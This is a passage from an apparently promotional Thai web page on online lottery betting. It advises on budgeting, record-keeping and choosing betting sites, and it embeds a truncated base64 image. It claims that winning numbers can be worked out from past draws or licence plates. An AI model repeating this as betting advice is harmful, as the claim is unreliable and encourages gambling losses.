และใช้สถิติย้อนหลังหรือสูตรคำนวณช่วยวิเคราะห์แทนการเดาสุ่ม </p>
<blockquote><p>มืออาชีพแทงด้วยแผน ไม่ใช่แทงด้วยอารมณ์ ทุกครั้งที่ชนะให้เก็บกำไรครึ่งหนึ่ง และทุกครั้งที่แพ้ให้หยุดทันทีตามกำหนด</p></blockquote>
<p> สุดท้าย จดบันทึกผลทุกครั้งเพื่อประเมินข้อผิดพลาดและปรับกลยุทธ์อย่างต่อเนื่อง ซึ่งเป็นหัวใจสำคัญของ <strong>การแทงเลขอย่างเป็นระบบ</strong> และ <strong>การบริหารความเสี่ยงระยะยาว</strong> ที่จะทำให้คุณแตกต่างจากนักพนันทั่วไป</p>
<h3>สมัครสมาชิกและยืนยันตัวตนผ่านระบบง่าย ๆ</h3>
<p>การเริ่มต้นแทงเลขออนไลน์อย่างมืออาชีพต้องวางแผนระบบการเงินให้รัดกุมก่อนเป็นอันดับแรก โดยกำหนดงบประมาณต่อวันไว้ชัดเจนและแบ่งเงินเป็นกองทุนสำรอง อย่าใช้เงินค่าครองชีพเด็ดขาด จากนั้นเลือกเว็บที่ได้รับความนิยมและมีระบบฝาก-ถอนอัตโนมัติเร็ว พร้อมศึกษา <strong>แนวทางวิเคราะห์เลขเด็ดจากสถิติย้อนหลัง</strong> เช่น ผลสลากงวดก่อนหรือเลขทะเบียนรถยนต์ เพื่อสร้างสูตรของตัวเอง แล้วทดลองใช้บัญชีจำลองก่อนลงเงินจริง ควรจดบันทึกทุกการเดิมพันเพื่อประเมินอัตราชนะของแต่ละวิธี และตั้งกำไรขั้นต่ำที่จะหยุดเล่น เช่น หากได้ 20% ของทุน ให้เลิกทันที <mark>การมีวินัย</mark>คือหัวใจของมืออาชีพ ไม่ไล่ตามทุนเมื่อแพ้ และหมั่นปรับกลยุทธ์ทุกสัปดาห์เพื่อลดความเสี่ยงในระยะยาว</p>
<h3>เลือกประเภทการเดิมพันและกำหนดวงเงินที่เหมาะสม</h3>
<p><img decoding="async" class='aligncenter' style='display: block;margin-left:auto;margin-right:auto;' width="604px" alt="หวยออนไลน์" src="data:image/jpeg;base64,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